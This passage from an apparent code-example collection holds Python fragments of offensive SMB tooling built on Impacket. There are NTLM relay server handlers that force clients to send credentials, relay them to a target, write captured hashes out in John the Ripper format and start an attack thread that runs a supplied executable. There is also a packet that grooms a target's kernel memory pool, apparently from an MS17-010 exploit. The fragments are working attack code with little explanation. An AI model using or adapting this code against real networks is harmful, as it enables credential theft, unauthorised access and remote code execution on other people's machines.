                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = b'\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff

                    LOG.error("Authenticating against %s://%s as %s FAILED" %
                              (self.target.scheme, self.target.netloc,
                               self.authUser))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info("Authenticating against %s://%s as %s SUCCEED" %
                             (self.target.scheme, self.target.netloc,
                              self.authUser))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True,
                                                   self.authUser)

                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegState'] = b'\x00'

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = connData['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = b'\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                self.authUser = ('%s/%s' %
                                 (sessionSetupData['PrimaryDomain'],
                                  sessionSetupData['Account'])).upper()
                LOG.info(
                    "Authenticating against %s://%s as %s SUCCEED" %
                    (self.target.scheme, self.target.netloc, self.authUser))

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])
                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Esempio n. 11
0
def request_SMBv1(host, port=445):

    # start client
    smb_client = smb.SMB(host, host, sess_port=port)

    # start: modified from login_standard()
    # https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smb.py

    session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    session_setup["Parameters"] = smb.SMBSessionSetupAndX_Extended_Parameters()
    session_setup["Data"] = smb.SMBSessionSetupAndX_Extended_Data()

    session_setup["Parameters"]["MaxBufferSize"] = 61440
    session_setup["Parameters"]["MaxMpxCount"] = 2
    session_setup["Parameters"]["VcNumber"] = 1
    session_setup["Parameters"]["SessionKey"] = 0
    session_setup["Parameters"]["Capabilities"] = (
        smb.SMB.CAP_EXTENDED_SECURITY
        | smb.SMB.CAP_USE_NT_ERRORS
        | smb.SMB.CAP_UNICODE
        | smb.SMB.CAP_LARGE_READX
        | smb.SMB.CAP_LARGE_WRITEX)

    # NTLMSSP
    blob = smb.SPNEGO_NegTokenInit()

    blob["MechTypes"] = [
        smb.TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]
    ]

    auth = ntlm.getNTLMSSPType1(smb_client.get_client_name(),
                                "",
                                smb_client._SignatureRequired,
                                use_ntlmv2=True)
    blob["MechToken"] = auth.getData()

    session_setup["Parameters"]["SecurityBlobLength"] = len(blob)
    session_setup["Parameters"].getData()
    session_setup["Data"]["SecurityBlob"] = blob.getData()
    session_setup["Data"]["NativeOS"] = "Unix"
    session_setup["Data"]["NativeLanMan"] = "Samba"

    smb_packet = smb.NewSMBPacket()

    if smb_client._SignatureRequired:
        smb_packet["Flags2"] |= smb_packet.SMB.FLAGS2_SMB_SECURITY_SIGNATURE

    smb_packet.addCommand(session_setup)

    smb_client.sendSMB(smb_packet)

    smb_response = smb_client.recvSMB()

    # NTLM challenge
    if smb_response.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):

        session_response = smb.SMBCommand(smb_response["Data"][0])
        session_parameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            session_response["Parameters"])
        session_data = smb.SMBSessionSetupAndX_Extended_Response_Data(
            flags=smb_response["Flags2"])
        session_data["SecurityBlobLength"] = session_parameters[
            "SecurityBlobLength"]
        session_data.fromString(session_response["Data"])

        resp_token = smb.SPNEGO_NegTokenResp(session_data["SecurityBlob"])

        return resp_token["ResponseToken"]

    else:
        return None
Esempio n. 12
0
conn = MYSMB(target, use_ntlmv2=False)

_, flags2 = conn.get_flags()

# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
flags2 |= smb.SMB.FLAGS2_UNICODE
conn.set_flags(flags2=flags2)

pkt = smb.NewSMBPacket()

sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440  # can be any value
sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
    'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters'][
    'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00' * 20
pkt.addCommand(sessionSetup)

conn.sendSMB(pkt)
Esempio n. 13
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID:
               # If there no GSSAPI ID, it must be an AUTH packet
               blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
               token = blob['ResponseToken']
            else:
               # NEGOTIATE packet
               blob =  smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
               token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the 
            # authentication we are, we act on it
            messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 
                # Let's send it to the target server and send the answer back to the client.
                smbClient = smbData[self.target]['SMBClient']
                clientChallengeMessage = smbClient.sendNegotiate(token) 
                challengeMessage = ntlm.NTLMAuthChallenge()
                challengeMessage.fromString(clientChallengeMessage)
                #############################################################

                respToken = smb.SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'  
                respToken['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it 
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                smbClient = smbData[self.target]['SMBClient']
                authData = sessionSetupData['SecurityBlob']
                clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'])                
                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 
                    packet['Command'] = recvPacket['Command']
                    packet['Pid']     = recvPacket['Pid']
                    packet['Tid']     = recvPacket['Tid']
                    packet['Mid']     = recvPacket['Mid']
                    packet['Uid']     = recvPacket['Uid']
                    packet['Data']    = '\x00\x00\x00'
                    packet['ErrorCode']   = errorCode >> 16
                    packet['ErrorClass']  = errorCode & 0xff
                    # Reset the UID
                    smbClient.setUid(0)
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    del (smbData[self.target])
                    clientThread = doAttack(smbClient,self.exeFile)
                    clientThread.start()
                    # Now continue with the server
                #############################################################

                respToken = smb.SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 
            respData['SecurityBlob']       = respToken.getData()

        else:
            # Process Standard Security
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData       = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 
                packet['Command'] = recvPacket['Command']
                packet['Pid']     = recvPacket['Pid']
                packet['Tid']     = recvPacket['Tid']
                packet['Mid']     = recvPacket['Mid']
                packet['Uid']     = recvPacket['Uid']
                packet['Data']    = '\x00\x00\x00'
                packet['ErrorCode']   = errorCode >> 16
                packet['ErrorClass']  = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                del (smbData[self.target])
                clientThread = doAttack(smbClient,self.exeFile)
                clientThread.start()
                # Remove the target server from our connection list, the work is done
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS']     = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data']       = respData 

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode